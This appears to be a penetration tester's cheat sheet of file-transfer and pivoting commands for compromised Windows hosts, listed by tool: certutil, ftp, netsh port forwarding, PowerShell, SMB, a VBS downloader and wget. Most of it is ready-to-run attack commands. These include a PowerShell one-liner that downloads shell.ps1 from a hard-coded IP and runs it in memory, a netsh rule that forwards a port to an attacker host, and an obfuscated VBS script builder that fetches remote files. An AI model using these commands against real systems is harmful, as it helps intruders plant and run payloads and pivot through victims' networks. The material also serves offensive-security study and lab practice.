certutil

> certutil.exe -urlcache -f http://<ip>/file file

ftp

• For transfering binaries, turn on binary mode
• Over a pivot, turn on passive mode
• Recursive download

> wget -r ftp://<user>:<pass>@<ip>

port forwarding

• windows

> netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 listenport=445 connectaddress=<attacker-ip> connectport=<attacker-port>

powershell

> powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.119.172/shell.ps1')

smb

# On share host
> impacket-smbserver -smb2support <share-name> /path-to-share
# On client
> copy \\<ip>\<share-name>\file file

vbs

> echo Set o=CreateObject^("MSXML2.XMLHTTP"^):Set a=CreateObject^("ADODB.Stream"^):Set f=Createobject^("Scripting.FileSystemObject"^):o.open "GET", "http://<ip>/<file>", 0:o.send^(^):If o.Status=200 Then > "download.vbs" &echo a.Open:a.Type=1:a.Write o.ResponseBody:a.Position=0:If f.Fileexists^("<file>"^) Then f.DeleteFile "<file>" >> "download.vbs" &echo a.SaveToFile "<file>" >>"download.vbs" &echo End if >>"download.vbs" &cscript //B "download.vbs" &del /F /Q "download.vbs"

wget

> wget http://<ip>/<file>

# recursive downloads, specify file extension .py
> wget <ip> -r -np -nc -nH -A .py